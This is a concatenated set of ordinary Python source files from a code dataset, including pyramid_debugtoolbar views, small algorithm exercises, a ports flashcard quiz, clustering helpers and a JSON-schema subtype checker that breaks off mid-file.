None:\n raise HTTPBadRequest('No exception history')\n self.exc_history = exc_history\n token = self.request.params.get('token')\n if not token:\n raise HTTPBadRequest('No token in request')\n if not token == self.exc_history.token:\n raise HTTPBadRequest('Bad token in request')\n frm = self.request.params.get('frm')\n if frm is not None:\n frm = int(frm)\n self.frame = frm\n cmd = self.request.params.get('cmd')\n self.cmd = cmd\n tb = self.request.params.get('tb')\n if tb is not None:\n tb = int(tb)\n self.tb = tb\n\n @view_config(\n route_name='debugtoolbar.exception',\n permission=NO_PERMISSION_REQUIRED,\n custom_predicates=(valid_host,)\n )\n def exception(self):\n tb = self.exc_history.tracebacks[self.tb]\n body = tb.render_full(self.request).encode('utf-8', 'replace')\n response = Response(body, status=500)\n return response\n\n @view_config(\n route_name='debugtoolbar.source',\n permission=NO_PERMISSION_REQUIRED,\n custom_predicates=(valid_host,)\n )\n def source(self):\n exc_history = self.exc_history\n if self.frame is not None:\n frame = exc_history.frames.get(self.frame)\n if frame is not None:\n return Response(frame.render_source(), content_type='text/html')\n return HTTPBadRequest()\n\n @view_config(\n route_name='debugtoolbar.execute',\n permission=NO_PERMISSION_REQUIRED,\n custom_predicates=(valid_host,)\n )\n def execute(self):\n if self.request.exc_history.eval_exc:\n exc_history = self.exc_history\n if self.frame is not None and self.cmd is not None:\n frame = exc_history.frames.get(self.frame)\n if frame is not None:\n result = frame.console.eval(self.cmd)\n return Response(result, content_type='text/html')\n return HTTPBadRequest()\n \n @view_config(\n route_name='debugtoolbar.console',\n renderer='pyramid_debugtoolbar:templates/console.mako',\n custom_predicates=(valid_host,)\n )\n def console(self):\n static_path = self.request.static_url(STATIC_PATH)\n toolbar_root_path = self.request.route_url(ROOT_ROUTE_NAME)\n exc_history = self.exc_history\n vars = {\n 'evalex': exc_history.eval_exc and 'true' or 'false',\n 'console': 'true',\n 'title': 'Console',\n 'traceback_id': self.tb or -1,\n 'root_path': toolbar_root_path,\n 'static_path': static_path,\n 'token': exc_history.token,\n }\n if 0 not in exc_history.frames:\n exc_history.frames[0] = _ConsoleFrame({})\n return vars\n\n\nclass SQLAlchemyViews(object):\n def __init__(self, request):\n self.request = request\n\n def validate(self):\n stmt = self.request.params['sql']\n params = self.request.params['params']\n\n # Validate hash\n need = self.request.exc_history.token + stmt + url_quote(params)\n\n hash = hashlib.sha1(bytes_(need)).hexdigest()\n if hash != self.request.params['hash']:\n raise HTTPBadRequest('Bad token in request')\n return stmt, params\n\n @view_config(\n route_name='debugtoolbar.sql_select',\n renderer='pyramid_debugtoolbar.panels:templates/sqlalchemy_select.mako',\n permission=NO_PERMISSION_REQUIRED,\n custom_predicates=(valid_host,)\n )\n def sql_select(self):\n stmt, params = self.validate()\n engine_id = self.request.params['engine_id']\n # Make sure it is a select statement\n if not stmt.lower().strip().startswith('select'):\n raise HTTPBadRequest('Not a SELECT SQL statement')\n\n if not engine_id:\n raise HTTPBadRequest('No valid database engine')\n\n engine = getattr(self.request.registry, 'pdtb_sqla_engines')\\\n [int(engine_id)]()\n params = [json.loads(params)]\n result = engine.execute(stmt, params)\n\n return {\n 'result': result.fetchall(),\n 'headers': result.keys(),\n 'sql': format_sql(stmt),\n 'duration': float(self.request.params['duration']),\n }\n\n @view_config(\n route_name='debugtoolbar.sql_explain',\n renderer='pyramid_debugtoolbar.panels:templates/sqlalchemy_explain.mako',\n permission=NO_PERMISSION_REQUIRED,\n custom_predicates=(valid_host,)\n )\n def sql_explain(self):\n stmt, params = self.validate()\n engine_id = self.request.params['engine_id']\n\n if not engine_id:\n raise HTTPBadRequest('No valid database engine')\n\n engine = getattr(self.request.registry, 'pdtb_sqla_engines')\\\n [int(engine_id)]()\n params = json.loads(params)\n\n if engine.name.startswith('sqlite'):\n query = 'EXPLAIN QUERY PLAN %s' % stmt\n else:\n query = 'EXPLAIN %s' % stmt\n\n result = engine.execute(query, params)\n\n return {\n 'result': result.fetchall(),\n 'headers': result.keys(),\n 'sql': format_sql(stmt),\n 'str': str,\n 'duration': float(self.request.params['duration']),\n }\n\n","sub_path":"pyramid/lib/python2.7/site-packages/pyramid_debugtoolbar-0.9.7-py2.7.egg/pyramid_debugtoolbar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"324799379","text":"\"\"\"\nOutputPeerReachability Base Class.\n\nThis should only be inherited from. Attempts to use this class\ndirectly, or failure to overload the Base class will result in \nan Output.MissingOverload exception\n\"\"\"\n\ntry:\n from stage_check import Output\nexcept ImportError:\n import Output\n\n\nclass Base(Output.Base):\n def __init__(self):\n super().__init__()\n self.__full_name = \"OutputPeerReachability.Base\"\n\n \"\"\"\n matching (unreachable) peer \n \"\"\"\n\n def proc_failed_peer(\n self,\n path, \n peer_name\n ):\n self.amend_failed_peer(path, peer_name)\n return self.status\n\n def amend_failed_peer(\n self,\n path,\n peer_name\n ):\n \"\"\"\n Override in derived classes if required\n \"\"\"\n return True\n\n \"\"\"\n matching (unreachable) path\n \"\"\"\n\n def proc_failed_path(\n self, \n path\n ):\n self.amend_failed_path(\n path\n )\n return self.status\n \n\n def amend_failed_path(\n self, \n path\n ):\n \"\"\"\n Override in derived classes if required\n \"\"\"\n return True\n\n \"\"\"\n test_result_ok\n \"\"\"\n\n def proc_test_result(\n self,\n entry_tests,\n stats,\n status = None\n ):\n if status is not None:\n self.status = status\n self.amend_test_result(\n entry_tests,\n stats\n )\n return self.status\n\n def amend_test_result(\n self, \n entry_tests,\n stats\n ):\n \"\"\"\n Override in derived classes if required\n \"\"\"\n return True\n","sub_path":"stage_check/stage_check/OutputPeerReachability.py","file_name":"OutputPeerReachability.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"575146802","text":"\"\"\"Övningar på sökalgoritmer.\n\"\"\"\n\n\ndef linear_search(l, v):\n \"\"\"Implementation av sequential search.\n\n Detta är den naiva algoritmen för sökning i listor (eller arrayer), se\n Wikipedia_. Fördelen är att den fungerar även för osorterade listor.\n\n Funktionen ska returnera indexet för det sökta värdet `v` i listan `l`. Om\n inte det sökta värdet, `v`, finns i listan `l` ska istället undantaget\n `ValueError` kastas.\n\n .. _Wikipedia: https://en.wikipedia.org/wiki/Linear_search#Basic_algorithm\n \"\"\"\n for i in range(0, len(l)):\n if l[i] == v:\n return i\n raise ValueError\n\n\ndef binary_search(l, v):\n \"\"\"Implementation av binary search.\n\n Detta är den klassiska algoritmen för sökning i sorterade listor (eller\n arrayer), se Wikipedia_.\n\n Funktionen ska returnera indexet för det sökta värdet `v` i listan `l`. Om\n inte det sökta värdet, `v`, finns i listan `l` ska istället undantaget\n `ValueError` kastas.\n\n .. _Wikipedia: https://en.wikipedia.org/wiki/Binary_search_algorithm#Algorith\n \"\"\"\n\n low = 0\n high = len(l)-1\n\n while low <= high:\n mid = (low + high) // 2\n if l[mid] == v:\n return mid\n elif v < l[mid]:\n high = mid - 1\n else:\n low = mid + 1\n raise ValueError\n","sub_path":"exercises/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"508737451","text":"\ndef mysql_batch_and_fetch(mysql_config, *sql_queries):\n \"\"\"\n Excute a series of SQL statements before the final Select query\n\n Parameters\n ----------\n mysql_config : dict\n The user credentials as defined in MySQLdb.connect, e.g.\n mysql_conig = {'user': 'myname', 'passwd': 'supersecret',\n 'host': '', 'db': ''}\n\n sql_queries : list or tuple\n A list or tuple of SQL queries wheras the last SQL command\n have to be final Select query.\n (If a string is provided the semicolon \";\" is used to split\n the string into a list of strings)\n\n Returns\n -------\n result_table : tuple\n The result table as tuple of tuples.\n\n Sources\n -------\n * http://mysqlclient.readthedocs.io/user_guide.html\n \"\"\"\n # load modules\n import MySQLdb as mydb\n import sys\n import gc\n\n # ensure that `sqlqueries` is a list/tuple\n # split a string into a list\n if len(sql_queries) == 1:\n if isinstance(sql_queries[0], str):\n sql_queries = sql_queries[0].split(\";\")\n if isinstance(sql_queries[0], (list, tuple)):\n sql_queries = sql_queries[0]\n\n # connect and execute queries\n try:\n conn = mydb.connect(**mysql_config)\n curs = conn.cursor()\n for sql_query in sql_queries:\n if len(sql_query) > 0:\n curs.execute(sql_query)\n result_table = curs.fetchall()\n except mydb.Error as err:\n print(err)\n gc.collect()\n sys.exit(1)\n else:\n if conn:\n conn.close()\n gc.collect()\n return result_table\n","sub_path":"oxyba/mysql_batch_and_fetch.py","file_name":"mysql_batch_and_fetch.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"578298561","text":"# ====== Legal notices\n#\n# Copyright (C) 2013 - 2020 GEATEC engineering\n#\n# This program is free software.\n# You can use, redistribute and/or modify it, but only under the terms stated in the QQuickLicence.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY, without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the QQuickLicence for details.\n#\n# The QQuickLicense can be accessed at: http://www.qquick.org/license.html\n#\n# __________________________________________________________________________\n#\n#\n# THIS PROGRAM IS FUNDAMENTALLY UNSUITABLE FOR CONTROLLING REAL SYSTEMS !!\n#\n# __________________________________________________________________________\n#\n# It is meant for training purposes only.\n#\n# Removing this header ends your licence.\n#\n\nimport simpylc as sp\n\nclass Control (sp.Module):\n def __init__ (self):\n sp.Module.__init__ (self)\n \n self.page ('rocket control')\n \n self.group ('gimbal angle controls blue/yellow', True)\n self.toYellow = sp.Marker ()\n self.toBlue = sp.Marker ()\n \n self.group ('gimbal angle state blue/yellow')\n self.blueYellowDelta = sp.Register ()\n self.blueYellowAngle = sp.Register ()\n \n self.group ('thruster angle controls green/red', True)\n self.toRed = sp.Marker ()\n self.toGreen = sp.Marker ()\n \n self.group ('thruster angle state green/red')\n self.greenRedDelta = sp.Register ()\n self.greenRedAngle = sp.Register ()\n \n self.group ('fuel throttle controls', True)\n self.throttleOpen = sp.Marker ()\n self.throttleClose = sp.Marker ()\n \n self.group ('fuel throttle state')\n self.throttleDelta = sp.Register ()\n self.throttlePercent = sp.Register ()\n \n def input (self):\n self.part ('gimbal angle blue/yellow')\n self.blueYellowAngle.set (sp.world.rocket.blueYellowAngle)\n \n self.part ('thruster angle green/red')\n self.greenRedAngle.set (sp.world.rocket.greenRedAngle)\n \n self.part ('fuel throttle')\n self.throttlePercent.set (sp.world.rocket.throttlePercent)\n \n def sweep (self):\n self.part ('gimbal angle blue/yellow')\n self.blueYellowDelta.set (-1 if self.toBlue else 1 if self.toYellow else 0)\n \n self.part ('thruster angle green/red')\n self.greenRedDelta.set (-1 if self.toGreen else 1 if self.toRed else 0)\n \n self.part ('fuel throttle')\n self.throttleDelta.set (-1 if self.throttleClose else 1 if self.throttleOpen else 0)\n \n \n \n","sub_path":"simpylc/simulations/rocket/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"623315025","text":"import random\r\n\r\nprotocols = {\r\n \"FTP\": \"20, 21\",\r\n \"SSH\": \"22\",\r\n \"SFTP\": \"22\",\r\n \"Telnet\": \"23\",\r\n \"SMTP\": \"25\",\r\n \"DNS\": \"53\",\r\n \"DHCP\": \"67, 68\",\r\n \"TFTP\": \"69\",\r\n \"HTTP\": \"80\", \r\n \"POP3\": \"110\",\r\n \"NTP\": \"123\",\r\n \"IMAP4\": \"143\",\r\n \"SNMP\": \"161\",\r\n \"LDAP\": \"389\",\r\n \"HTTPS\": \"443\",\r\n \"SMB\": \"445\",\r\n \"LDAPS\": \"636\",\r\n \"H.323\": \"1720\",\r\n \"RDP\": \"3389\",\r\n \"SIP\": \"5060, 5061\"\r\n}\r\n\r\nlineBreak = \"\\n\"\r\n\r\nprint(lineBreak * 15 + \"Welcome to Ports and Protocols Flashcards!\")\r\nprint(\"All questions come from the CompTia Network+ Objectives\")\r\nprint(\"Type in the numerical answer to each question and press .\\nIf more than one number is required for an entry,\\nuse the number-comma-space-number format: '11, 12, 13'\\nEnter 'q' at anytime to quit\\n\\n\")\r\n\r\nplayGame = True\r\nwhile playGame:\r\n\r\n review = {}\r\n\r\n for i in range(5):\r\n x, y = random.choice(list(protocols.items()))\r\n print(f\"{x}\\t{y}\")\r\n review[x] = y\r\n\r\n print(\"\\n\\n\\n\")\r\n\r\n z = True\r\n print(\"Time to review the above protocols.\\nEnter 'q' when you're ready to stop.\\n\\n\")\r\n\r\n while z:\r\n for x, y in review.items():\r\n userAnswer = input(\"What is: \"+ x + \"? \")\r\n a, b = random.choice(list(protocols.items()))\r\n if userAnswer == \"q\":\r\n z = False\r\n break\r\n elif userAnswer == y:\r\n print(\"Correct!\\n\")\r\n else:\r\n print(\"Incorrect. The correct answer is: \" + y + \"\\n\")\r\n print(\"Again!!! \")\r\n \r\n playGameQuestion = input(\"Enter 'q' to quit. Anything else to load a new set of questions.\")\r\n if playGameQuestion == \"q\":\r\n playGame = False\r\n else:\r\n print(lineBreak*20 + \"Loading new list...\\n\\n\")\r\n","sub_path":"RoutingProtocolQuiz-Dictionary.py","file_name":"RoutingProtocolQuiz-Dictionary.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459324935","text":"list = [1,3,4,5,6,888,9,43,130]\n\nprint(sum(list))\nprint(max(list))\nprint(min(list))\n\n#exercise 4\nfor x in list:\n if x % 2 == 0:\n print(x)\n\n#exercise 5\nfor y in list: \n if y > 0:\n print(y)\n\n#exercise 6\nnewlist = []\nfor i in list:\n if i > 0:\n newlist.append(i)\n\nprint(newlist)\n\n#exercise 7\ndoubleprint = []\nfactor = 5\n\nfor j in list:\n doubleprint.append(j*factor)\n\nprint(doubleprint)\n\n#exercise 8\nstring = input(\" <\")\nbackwards = string[::-1]\nprint(backwards)\n\nlist2 = [2333333, 1, 0]\nbiggestNumber = 0\n\nfor number in list2: \n if number > biggestNumber:\n biggestNumber = number\n\nprint(biggestNumber)\n","sub_path":"smallexercises.py","file_name":"smallexercises.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"16917547","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nfrom sklearn.naive_bayes import MultinomialNB,GaussianNB,BernoulliNB,ComplementNB\r\nfrom sklearn.utils import _joblib\r\nfrom sklearn.cluster import KMeans,MiniBatchKMeans\r\nfrom selfTool import file,data\r\nimport decimal\r\nfrom scipy.stats import pearsonr,spearmanr,kendalltau\r\nimport numpy as np\r\n\r\n\"\"\"\r\nclass DecimalEncoder(json.JSONEncoder):\r\n\tdef default(self,o):\r\n\t\tif isinstance(o,decimal.Decimal):\r\n\t\t\tfor i,j in enumerate(o):\r\n\t\t\t\to[i] = list(j)\r\n\t\t\treturn list(o)\r\n\t\tsuper(DecimalEncoder,self).default(o)\r\n\"\"\"\r\n\r\nclass bayes(object):\r\n\tdef __init__(self,data,target,algorithm=\"GNB\"):\r\n\t\tself.algorithm = algorithm\r\n\t\tself.data = data\r\n\t\tself.target = target\r\n\t\tif algorithm=='GNB':\r\n\t\t\tself.model = GaussianNB()\r\n\t\telif algorithm=='MNB':\r\n\t\t\tself.model = MultinomialNB()\r\n\t\telif algorithm=='BNB':\r\n\t\t\tself.model = BernoulliNB()\r\n\t\telse:\r\n\t\t\tself.model = ComplementNB()\r\n\r\n\t\tself.model.fit(data,target)\r\n\r\n\tdef save_model(self,path):\r\n\t\t_joblib.dump(self.model,path)\r\n\r\n\tdef load_model(self,path):\r\n\t\tself.model = _joblib.load(path)\r\n\r\n\tdef predict(self,x):\r\n\t\tres = self.model.predict(x)\r\n\t\treturn res\r\n\r\n\r\n#层次聚类树,[9,10,5]\r\nclass Layer_kmeans(object):\r\n\tdef __init__(self,cluster=[]):\r\n\t\tself.MODEL = \"Layer_kmeans\"\r\n\t\tself._cluster = cluster\r\n\t\tself._clust_len = 0\r\n\t\tself._cluster_tree = {\r\n\t\t\t\"position\":'root',\r\n\t\t\t\"festival\":[],\r\n\t\t\t\"center_point\":None\r\n\t\t}\r\n\r\n\t@property\r\n\tdef result(self):\r\n\t\treturn self._cluster_tree\r\n\r\n\t#arguments:the target data(mast be 2d),words with data,先分为9个类存为文件\r\n\tdef tencent(self,data,words,clusters=[5]):\r\n\t\t_kmeans_tree = {\r\n\t\t\t\"position\":\"root\",\r\n\t\t\t\"center_point\":[],\r\n\t\t\t\"festival\":{}\r\n\t\t}\r\n\r\n\t\tclass_data = {}\r\n\r\n\t\tone = clusters.pop(0)\r\n\t\tkm = KMeans(init=\"k-means++\",n_clusters=one)\r\n\t\tkm.fit_predict(data)\r\n\t\tpoints = []\r\n\r\n\t\tfor j,i in enumerate(km.cluster_centers_):\r\n\t\t\tkey = 'file'+str(j)\r\n\t\t\tpoints.append(list(i))\r\n\t\t\tclass_data[key] = {}\r\n\t\t_kmeans_tree['center_point'] = points\r\n\r\n\t\t#将所有数据按类分开,存成字典\r\n\t\tfor a,b in enumerate(km.labels_):\r\n\t\t\tkey2 = 'file' + str(b)\r\n\t\t\tclass_data[key2][words[a]] = data[a]\r\n\r\n\t\t#各类存到不同的文件\r\n\t\tfor idx in range(one):\r\n\t\t\tkey1 = 'file' + str(idx)\r\n\t\t\tsave_path = 'data/tree' + str(idx) + '.json'\r\n\t\t\t_kmeans_tree['festival'][key1] = save_path \r\n\t\t\tfile.op_file(file_path=save_path,data=class_data[key1],model='json',method='save')\r\n\t\t\t#保存后删除\r\n\t\t\tdel class_data[key1]\r\n\t\t#存储根节点查找文件\r\n\t\tfile.op_file(file_path='data/root.json',data=_kmeans_tree,model='json',method='save')\r\n\t\r\n\t#处理腾讯的9个词向量文件\r\n\tdef take9_file(self,root_path):\r\n\t\tfile_tree = {\r\n\t\t\t\"tree0\":0,\r\n\t\t\t\"tree1\":0,\r\n\t\t\t\"tree2\":0,\r\n\t\t\t\"tree3\":0,\r\n\t\t\t\"tree4\":0,\r\n\t\t\t\"tree5\":0,\r\n\t\t\t\"tree6\":0,\r\n\t\t\t\"tree7\":0,\r\n\t\t\t\"tree8\":0\r\n\t\t} \r\n\t\tfor f in range(3,9):\r\n\t\t\tkey = 'tree' + str(f)\r\n\r\n\t\t\tf_p = 'data/tencent/tree' + str(f) +'.json'\r\n\t\t\tfile_tree[key] = file.op_file(f_p,method='read')\r\n\r\n\t\t\tvals = list(file_tree[key].values())\r\n\t\t\tks = list(file_tree[key].keys())\r\n\r\n\t\t\tsp = 'data/tencent/tc_tree' + str(f) + '.json'\r\n\t\t\tself.cluster(vals,ks,sp)\r\n\t\t\tdel file_tree[key]\r\n\t\t\tdel self._cluster_tree\r\n\r\n\t\t\tself._cluster_tree = {\r\n\t\t\t\t\t\"position\":'root',\r\n\t\t\t\t\t\"festival\":[],\r\n\t\t\t\t\t\"center_point\":None\r\n\t\t\t\t}\r\n\t\t\tprint(ord)\r\n\r\n\r\n\t#这里开以开多线程操作,info with data(如果内存够用的话)\r\n\tdef cluster(self,data,keys,save_path):\r\n\t\tself._clust_len = len(self._cluster) - 1\r\n\t\tself._basic_cluster(data,keys,self._cluster_tree,0)\r\n\r\n\t\tfile.op_file(file_path=save_path,data=self._cluster_tree,model='json',method='save')\r\n\t\t\"\"\"\r\n\t\t***存储的数据结构:\r\n\t\t*{\r\n\t\t*\tcenter_point:[],\r\n\t\t*\tposition:0,\r\n\t\t*\tfestival:[{\r\n\t\t*\t\tcenter_point:[],\r\n\t\t*\t\tposition:last,\r\n\t\t*\t\tfestival:[{word1:val,word2:val,...}]\r\n\t\t*\t},{...},...]\r\n\t\t*}\r\n\t\t\"\"\"\r\n \r\n\t#参数:聚类数据、类数,当前层位置\r\n\tdef _basic_cluster(self,data,keys,tree_obj,position=0):\r\n\r\n\t\tif position=='last':\r\n\t\t\tn_clusters = self._cluster[self._clust_len]\r\n\t\telse:\r\n\t\t\tn_clusters = self._cluster[position]\r\n\r\n\t\tdts = []\r\n\t\tfor v in range(n_clusters):\r\n\t\t\tdts.append({})\r\n\r\n\t\t#当样本data长度小于n_clusters时\r\n\t\tn_clusters = len(data) if len(data)self._max_dist:\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\t#找到最小距离分支的索引\r\n\t\t\t\tindex_arr.append(center_distance[keys[j]])\r\n\t\t#不是最后一层则向下查找\t\t\r\n\t\tif tree['position']!='last':\r\n\t\t\tfor m in index_arr:\r\n\t\t\t\tself.search_tree(dts,tree['festival'][m])\r\n\t\telse:\r\n\t\t\tlast_festival = []\r\n\t\t\t\r\n\t\t\t#至此完成一个循环\r\n\t\t\tfor n in range(sel_point):\r\n\t\t\t\t#每条数据是:距离、对应的数据信息\r\n\t\t\t\tlast_festival.append(tree['festival'][index_arr[n]])\r\n\t\t\t#将最近距离的几个节点放到last_festival中\r\n\t\t\tfor t in last_festival:\r\n\t\t\t\tdist_obj = {}\r\n\t\t\t\tfor v in t:\r\n\t\t\t\t\t#计算每个节点中与目标的距离\r\n\t\t\t\t\tdist_obj[v] = data.point_distance(dts,t[v])\r\n\t\t\t\t#words key array\r\n\t\t\t\tsort_dist = [y[0] for y in sorted(dist_obj.items(),key=lambda s:s[1],reverse=False)]\r\n\r\n\t\t\t\tpdx2 = tree['position'] if tree['position']!='last' else (len(self._search_branch)-1) \r\n\r\n\t\t\t\tsel_len = len(sort_dist) if len(sort_dist)'皮尔逊相关系数':\r\n\t\t_a = pearsonr(x,y)\r\n\t\treturn _a\r\n\r\n\tdef _spearman(self,x,y)->'斯皮尔曼系数':\r\n\t\t_p = spearmanr(x,y,axis=0,nan_policy='omit')\r\n\t\treturn _p\r\n\t\r\n\tdef _kendal(self,x,y)->'肯德尔系数':\r\n\t\t_k = kendalltau(x,y,nan_policy='omit')\r\n\t\treturn _k\r\n\t\r\n\tdef _cov(self,x,y):\r\n\t\t_scalx = np.max(x) - np.mean(x)\r\n\t\t_scaly = np.max(y) - np.mean(y)\r\n\t\t# 映射到-1~1\r\n\t\treturn np.cov(x,y)[0][1] / (_scalx * _scaly)\r\n\t\r\n\tdef _mutualInfo(self,x,y)->'互信息计算':\r\n\t\t_counter_x = dict()\r\n\t\t_counter_y = dict()\r\n\t\t_counter_xy = dict()\r\n\r\n\t\tassert len(x)==len(y),'x unequal y'\r\n \r\n\t\tNUMS = len(x)\r\n\t\t# 统计各项值出现的频率\r\n\t\tdef _counter(key,obj):\r\n\t\t\tif key in obj:\r\n\t\t\t\tobj[key] += 1\r\n\t\t\telse:\r\n\t\t\t\tobj[key] = 1\r\n\t\t\r\n\t\tfor a,b in zip(x,y):\r\n\t\t\t_key1 = str(a)\r\n\t\t\t_key2 = str(b)\r\n\r\n\t\t\t_key1_and_2 = _key1 + '-' + _key2\r\n\r\n\t\t\t_counter(_key1,_counter_x)\r\n\t\t\t_counter(_key1_and_2,_counter_xy)\r\n\t\t\t_counter(_key2,_counter_y)\t\r\n\t\t\r\n\t\tXY_NUMS = 0\r\n\t\tfor i in _counter_xy:\r\n\t\t\tXY_NUMS += _counter_xy[i]\r\n\t\t# 计算互信息值\r\n\t\t_res = 0\r\n\t\tfor v in _counter_xy:\r\n\t\t\tks = v.split('-')\r\n\r\n\t\t\t_pxy = _counter_xy[v] / XY_NUMS\r\n\t\t\t_px = _counter_x[ks[0]] / NUMS\r\n\t\t\t_py = _counter_y[ks[1]] / NUMS\r\n\r\n\t\t\t_res += _pxy * np.log2(_pxy / (_px * _py))\r\n\t\t\r\n\t\treturn _res\r\n\r\n\tdef calc(self,d1,d2,fn_str='pearson'):\r\n\t\tif fn_str=='pearson':\r\n\t\t\tq = self._pearson(d1,d2)[0]\r\n\t\telif fn_str=='spearman':\r\n\t\t\tq = self._spearman(d1,d2)[0]\r\n\t\telif fn_str=='kendal':\r\n\t\t\tq = self._kendal(d1,d2)[0]\r\n\t\telif fn_str=='cov':\r\n\t\t\tq = self._cov(d1,d2)\r\n\t\telif fn_str=='mutualInfo':\r\n\t\t\tq = self._mutualInfo(d1,d2)\r\n\t\telse:\r\n\t\t\traise ValueError('dont support {}'.format(fn_str))\r\n\t\t\r\n\t\treturn q\r\n\r\n","sub_path":"usual_learn.py","file_name":"usual_learn.py","file_ext":"py","file_size_in_byte":10075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"499022965","text":"class Solution:\n def ladderLength(self, beginWord, endWord, wordList):\n \"\"\"\n :type beginWord: str\n :type endWord: str\n :type wordList: List[str]\n :rtype: int\n \"\"\"\n\n wordSet = set(wordList)\n import collections\n queue = collections.deque([(beginWord, 1)])\n\n while queue:\n curWord, depth = queue.popleft()\n if curWord == endWord:\n return depth\n\n for i in range(len(curWord)):\n for char in 'abcdefghijklmnopqrstuvwxyz':\n nextWord = curWord[:i] + char + curWord[i + 1:]\n if nextWord in wordSet:\n wordSet.remove(nextWord)\n queue.append((nextWord, depth + 1))\n return 0\n\n","sub_path":"python/127. Word Ladder.py","file_name":"127. Word Ladder.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"377067156","text":"'''\nCreated on June 24, 2019\n@author: Andrew Habib\n'''\n\nimport copy\nimport json\nimport sys\nimport math\nimport numbers\nimport intervals as I\nfrom abc import ABC, abstractmethod\nfrom greenery.lego import parse\nfrom intervals import inf as infinity\n\n\nimport config\nimport _constants\nfrom canoncalization import canoncalize_object\nfrom _normalizer import lazy_normalize\n\nfrom _utils import (\n validate_schema,\n print_db,\n is_sub_interval_from_optional_ranges,\n is_num,\n is_list,\n is_dict,\n is_empty_dict_or_none,\n is_dict_or_true,\n one\n)\n\n\nclass JSONschema(dict):\n\n kw_defaults = {}\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # self.validate()\n self.updateKeys()\n # self.canoncalize()\n if self.isUninhabited():\n sys.exit(\"Found an uninhabited type at: \" + str(self))\n\n def __getattr__(self, name):\n if name in self:\n return self[name]\n else:\n raise AttributeError(\"No such attribute: \", name)\n\n def __setattr__(self, name, value):\n self[name] = value\n\n def __delattr__(self, name):\n if name in self:\n del self[name]\n else:\n raise AttributeError(\"No such attribute: \", name)\n\n def validate(self):\n validate_schema(self)\n\n def updateKeys(self):\n for k, v in self.kw_defaults.items():\n if k == \"items\":\n k = \"items_\"\n if k not in self.keys():\n self[k] = v\n\n def isBoolean(self):\n return self.keys() & _constants.Jconnectors\n\n def isUninhabited(self):\n return self._isUninhabited()\n\n def _isUninhabited(self):\n pass\n\n def meet(self, s2):\n pass\n\n def join(self, s2):\n pass\n\n def isSubtype(self, s2):\n if s2 == {} or s2 == True or self == s2:\n return True\n\n return self._isSubtype(s2)\n\n def isSubtype_handle_rhs(self, s2, isSubtype_cb):\n if s2.isBoolean():\n # TODO revisit all of this. They are wrong.\n if \"anyOf\" in s2:\n return any(self.isSubtype(s) for s in s2[\"anyOf\"])\n elif \"allOf\" in s2:\n return all(self.isSubtype(s) for s in s2[\"allOf\"])\n elif \"oneOf\" in s2:\n return one(self.isSubtype(s) for s in s2[\"oneOf\"])\n elif \"not\" in s2:\n # TODO\n print(\"No handling of not yet.\")\n return None\n else:\n print_db(\"cb on rhs\")\n return isSubtype_cb(self, s2)\n\n\nclass JSONTypeString(JSONschema):\n\n kw_defaults = {\"minLength\": 0, \"maxLength\": infinity, \"pattern\": \".*\"}\n\n def __init__(self, s):\n super().__init__(s)\n\n def _isUninhabited(self):\n return self.minLength > self.maxLength\n\n def meet(self, s):\n pass\n\n def _isSubtype(self, s2):\n\n def _isStringSubtype(self, s2):\n if s2.type != \"string\":\n return False\n\n is_sub_interval = is_sub_interval_from_optional_ranges(\n self.minLength, self.maxLength, s2.minLength, s2.maxLength)\n if not is_sub_interval:\n return False\n #\n # at this point, length is compatible,\n # so we should now worry about pattern only.\n if s2.pattern == None or s2.pattern == \"\":\n return True\n elif self.pattern == None or self.pattern == \"\":\n return False\n elif self.pattern == s2.pattern:\n return True\n else:\n regex = parse(self.pattern)\n regex2 = parse(s2.pattern)\n result = regex & regex2.everythingbut()\n if result.empty():\n return True\n else:\n return False\n\n return super().isSubtype_handle_rhs(s2, _isStringSubtype)\n\n\ndef JSONNumericFactory(s):\n if s.get(\"type\") == \"number\":\n if s.get(\"multipleOf\") and float(s.get(\"multipleOf\")).is_integer():\n s[\"type\"] = \"integer\"\n if s.get(\"minimum\") != None: # -I.inf:\n s[\"minimum\"] = math.floor(s.get(\"minimum\")) if s.get(\n \"exclusiveMinimum\") else math.ceil(s.get(\"minimum\"))\n if s.get(\"maximum\") != None: # I.inf:\n s[\"maximum\"] = math.ceil(s.get(\"maximum\")) if s.get(\n \"exclusiveMaximum\") else math.floor(s.get(\"maximum\"))\n return JSONTypeInteger(s)\n else:\n return JSONTypeNumber(s)\n else:\n return JSONTypeInteger(s)\n\n\nclass JSONTypeInteger(JSONschema):\n\n kw_defaults = {\"minimum\": -infinity, \"maximum\": infinity,\n \"exclusiveMinimum\": False, \"exclusiveMaximum\": False, \"multipleOf\": None}\n\n def __init__(self, s):\n super().__init__(s)\n\n def build_interval_draft4(self):\n if self.exclusiveMinimum and self.exclusiveMaximum:\n self.interval = I.closed(self.minimum+1, self.maximum-1)\n elif self.exclusiveMinimum:\n self.interval = I.closed(self.minimum+1, self.maximum)\n elif self.exclusiveMaximum:\n self.interval = I.closed(self.minimum, self.maximum-1)\n else:\n 